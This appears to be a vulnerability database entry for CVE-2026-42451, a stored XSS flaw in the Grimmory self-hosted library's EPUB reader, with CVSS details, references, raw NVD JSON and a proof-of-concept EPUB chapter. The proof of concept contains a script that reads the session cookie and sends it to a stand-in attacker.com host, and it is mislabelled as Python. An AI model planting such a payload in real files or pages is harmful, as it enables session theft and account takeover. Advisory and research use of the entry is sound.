CVE-2026-42451

Description

Grimmory is a self-hosted digital library. Prior to version 2.3.1, a stored cross-site scripting (XSS) vulnerability in Grimmory's browser-based EPUB reader allows an attacker to embed arbitrary JavaScript in a crafted EPUB file. When a victim opens the book, the script executes in their browser with full access to the Grimmory application's session context. This can enable session token theft and account takeover, including administrative access if an administrator opens the affected book. This issue has been patched in version 2.3.1.

CVSS Details

CVSS Score

6.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:U/C:H/I:H/A:L

Configurations (Affected Products)

No configuration data available.

Grimmory < 2.3.1

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- Malicious content inside an EPUB chapter file (e.g., chapter1.xhtml) -->
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
    <title>Malicious Chapter</title>
</head>
<body>
    <h1>Interesting Book Content</h1>
    <p>This looks like a normal book...</p>
    
    <!-- The XSS Payload -->
    <script>
        // Example: Steal the session cookie
        var cookies = document.cookie;
        var attackerUrl = "https://attacker.com/log?c=" + encodeURIComponent(cookies);
        fetch(attackerUrl);
        
        // Or perform actions as the user
        console.log("XSS Executed in Grimmory Context");
    </script>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-42451
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-42451
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-42451/
[4] VulDB https://vuldb.com/cve/CVE-2026-42451
[5] http://github.com/grimmory-tools/grimmory/releases/tag/v2.3.1
[6] https://github.com/grimmory-tools/grimmory/security/advisories/GHSA-frv6-5wq5-9p24

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-42451", "sourceIdentifier": "[email protected]", "published": "2026-05-08T23:16:38.680", "lastModified": "2026-05-08T23:16:38.680", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "Grimmory is a self-hosted digital library. Prior to version 2.3.1, a stored cross-site scripting (XSS) vulnerability in Grimmory's browser-based EPUB reader allows an attacker to embed arbitrary JavaScript in a crafted EPUB file. When a victim opens the book, the script executes in their browser with full access to the Grimmory application's session context. This can enable session token theft and account takeover, including administrative access if an administrator opens the affected book. This issue has been patched in version 2.3.1."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:U/C:H/I:H/A:L", "baseScore": 6.3, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "LOW"}, "exploitabilityScore": 0.8, "impactScore": 5.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}, {"lang": "en", "value": "CWE-80"}]}], "references": [{"url": "http://github.com/grimmory-tools/grimmory/releases/tag/v2.3.1", "source": "[email protected]"}, {"url": "https://github.com/grimmory-tools/grimmory/security/advisories/GHSA-frv6-5wq5-9p24", "source": "[email protected]"}]}}